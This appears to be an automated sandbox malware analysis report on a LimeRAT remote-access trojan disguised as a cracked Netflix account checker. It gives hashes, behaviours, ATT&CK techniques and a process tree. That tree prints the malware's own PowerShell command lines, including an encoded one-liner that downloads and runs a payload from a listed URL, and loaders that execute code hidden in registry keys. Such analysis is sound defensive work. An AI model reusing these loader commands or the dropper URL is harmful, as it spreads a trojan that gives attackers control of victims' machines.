limerat | 85e6f154baa5c3d5dcbf1b16ed811bbf643582b194d22aaeb440195640d881dd

Analysis

max time kernel
150s
max time network
153s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
19-03-2023 12:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Netflix Checker by GOD Cracked By GM`ka/xNet/procs.exe
Size

1.7MB
MD5

98bfaca19a9ae44bb60fbc3e98e54d09
SHA1

e2f100fc3eb808fe26cdc26327920293c1272cab
SHA256

a0e92f4093a2238cd10451cb37932acbfe2ccdddedb7106b9faaa22fadf582e3
SHA512

d8b5abdb9692f54a512d53589537bb8b4aa489443ef7ae77aede69d5c1510a32ce2508eeca1ff50898fb2305151c53b9f03449dac9a75b4ea8aa370a324f4fbe
SSDEEP

49152:Cl1b5zTZ5YfiyFc7Eno6T2te21ZkWQ5XK9Ey5:CdzxCzfTOe2k5amW

Score

10^/10

limerat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://6.top4top.net/p_13529t6r71.jpg

Signatures

LimeRAT
Simple yet powerful RAT for Windows machines written in .NET.
rat limerat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	912	powershell.exe
11	1108	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PoYUIXZO.lnk	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KBnSgEeuZWeY.lnk	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1740	Checker Netflix.exe

Loads dropped DLL 1 IoCs

pid	Process
1100	procs.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1108	powershell.exe
912	powershell.exe
1936	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	1108	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 1740	1100	procs.exe	26
PID 1100 wrote to memory of 1740	1100	procs.exe	26
PID 1100 wrote to memory of 1740	1100	procs.exe	26
PID 1100 wrote to memory of 1740	1100	procs.exe	26
PID 1100 wrote to memory of 640	1100	procs.exe	27
PID 1100 wrote to memory of 640	1100	procs.exe	27
PID 1100 wrote to memory of 640	1100	procs.exe	27
PID 1100 wrote to memory of 640	1100	procs.exe	27
PID 1100 wrote to memory of 564	1100	procs.exe	28
PID 1100 wrote to memory of 564	1100	procs.exe	28
PID 1100 wrote to memory of 564	1100	procs.exe	28
PID 1100 wrote to memory of 564	1100	procs.exe	28
PID 1100 wrote to memory of 268	1100	procs.exe	29
PID 1100 wrote to memory of 268	1100	procs.exe	29
PID 1100 wrote to memory of 268	1100	procs.exe	29
PID 1100 wrote to memory of 268	1100	procs.exe	29
PID 564 wrote to memory of 912	564	WScript.exe	31
PID 564 wrote to memory of 912	564	WScript.exe	31
PID 564 wrote to memory of 912	564	WScript.exe	31
PID 564 wrote to memory of 912	564	WScript.exe	31
PID 640 wrote to memory of 1108	640	WScript.exe	33
PID 268 wrote to memory of 1936	268	WScript.exe	35
PID 640 wrote to memory of 1108	640	WScript.exe	33
PID 640 wrote to memory of 1108	640	WScript.exe	33
PID 640 wrote to memory of 1108	640	WScript.exe	33
PID 268 wrote to memory of 1936	268	WScript.exe	35
PID 268 wrote to memory of 1936	268	WScript.exe	35
PID 268 wrote to memory of 1936	268	WScript.exe	35

C:\Users\Admin\AppData\Local\Temp\Netflix Checker by GOD Cracked By GM`ka\xNet\procs.exe
"C:\Users\Admin\AppData\Local\Temp\Netflix Checker by GOD Cracked By GM`ka\xNet\procs.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Users\Admin\AppData\Roaming\Checker Netflix.exe
  "C:\Users\Admin\AppData\Roaming\Checker Netflix.exe"
  2⤵
  - Executes dropped EXE
  PID:1740
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\l1l1l.vbs"
  2⤵
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\tsQKDrCBEkat).evTHJP).'EntryPoint'.'Invoke'($Null,$Null)
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1108
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\powershell.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8ANgAuAHQAbwBwADQAdABvAHAALgBuAGUAdAAvAHAAXwAxADMANQAyADkAdAA2AHIANwAxAC4AagBwAGcAJwApACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAbgB1AGwAbAApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:912
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\r1r1.vbs"
  2⤵
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\vLEwUGUT).gukeLLVoun).'EntryPoint'.'Invoke'($Null,$Null)
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Checker Netflix.exe

Filesize
1.5MB

MD5
068068c3cefb4c8d997271897c3173bb

SHA1
d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

SHA256
23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

SHA512
0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

Download Submit
C:\Users\Admin\AppData\Roaming\Checker Netflix.exe

Filesize
1.5MB

MD5
068068c3cefb4c8d997271897c3173bb

SHA1
d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

SHA256
23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

SHA512
0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4686WJJQRYBE89CZPNYG.temp

Filesize
7KB

MD5
7b81d007d4462171909c79d9401e140a

SHA1
efc9deea40eea1d4cc52962c1657b53ab6c6de07

SHA256
6605199533df23f507bd392e4c5507877fb9ddf1507080625d37d4faab9127ef

SHA512
53375437d93402ac084c48960243c3401c7ca9a042cbef2a2bf14eb37376a084a237d6d88634fc3d7548f4ec5498c101de04ad02d13b05ecc80dcc652a46e63b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
7b81d007d4462171909c79d9401e140a

SHA1
efc9deea40eea1d4cc52962c1657b53ab6c6de07

SHA256
6605199533df23f507bd392e4c5507877fb9ddf1507080625d37d4faab9127ef

SHA512
53375437d93402ac084c48960243c3401c7ca9a042cbef2a2bf14eb37376a084a237d6d88634fc3d7548f4ec5498c101de04ad02d13b05ecc80dcc652a46e63b

Download Submit
C:\Users\Admin\AppData\Roaming\l1l1l.vbs

Filesize
129KB

MD5
c78f607c916f060d6ee3bf391e303acc

SHA1
1575998cda060d4a570ba258abc12044601da283

SHA256
f1e57d1714f74c6939ee24bb348fa12e925ec7eb380d5a7d0f1d230effb742f4

SHA512
cf26b8b381402622df420fa3881630661d08d76660d01be2d695af8ade568a6f5e3b365e4b17bffee5589d936eeaad3f7ebf413f4a2d810d976b66511548875b

Download Submit
C:\Users\Admin\AppData\Roaming\powershell.js

Filesize
2KB

MD5
40b65baa1541784dd92f5aa8ae11b0ef

SHA1
0772c95f56a025704c01389f2d1108a17fb987cf

SHA256
9609d3a8ee7d439c54aca9c5aeced07caa4199f116367ecb88b63e9e2e29a699

SHA512
fc784babe03c75559314dc15a04386d528e71b003b40349df2a4845576bbc9d2f0898d27fc5b1be8cda9fbf16715822bf0616fa7835e1abefe7ccacc8da3b3d2

Download Submit
C:\Users\Admin\AppData\Roaming\r1r1.vbs

Filesize
87KB

MD5
0494f414da149631c3d59861865dad37

SHA1
c9fd335759efb52e58acb974af27cdecb35d0f10

SHA256
a2effa9551b467c88ccea70024bd13650267752d1d6bcd91a5bd6915d9c47a56

SHA512
a86f2532f2ba996dc8421146d918250b1925daf803a470e3bce312f29a4d0b25af51d4abc005ab390650cb0cf6b4024df3c411e6ae4ed03cd51906b54683f333

Download Submit
\Users\Admin\AppData\Roaming\Checker Netflix.exe

Filesize
1.5MB

MD5
068068c3cefb4c8d997271897c3173bb

SHA1
d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

SHA256
23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

SHA512
0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

Download Submit
memory/912-94-0x0000000002580000-0x00000000025C0000-memory.dmp

Filesize
256KB

Download
memory/912-92-0x0000000002580000-0x00000000025C0000-memory.dmp

Filesize
256KB

Download
memory/912-98-0x0000000002580000-0x00000000025C0000-memory.dmp

Filesize
256KB

Download
memory/1108-90-0x00000000027B0000-0x00000000027F0000-memory.dmp

Filesize
256KB

Download
memory/1740-73-0x0000000000130000-0x00000000002B0000-memory.dmp

Filesize
1.5MB

Download
memory/1740-91-0x0000000006F50000-0x00000000070E8000-memory.dmp

Filesize
1.6MB

Download
memory/1740-78-0x0000000000330000-0x0000000000336000-memory.dmp

Filesize
24KB

Download
memory/1740-95-0x0000000000410000-0x0000000000416000-memory.dmp

Filesize
24KB

Download
memory/1740-96-0x0000000004AC0000-0x0000000004B00000-memory.dmp

Filesize
256KB

Download
memory/1740-97-0x0000000004AC0000-0x0000000004B00000-memory.dmp

Filesize
256KB

Download
memory/1740-89-0x0000000004AC0000-0x0000000004B00000-memory.dmp

Filesize
256KB

Download
memory/1740-100-0x0000000004AC0000-0x0000000004B00000-memory.dmp

Filesize
256KB

Download
memory/1936-93-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/1936-99-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download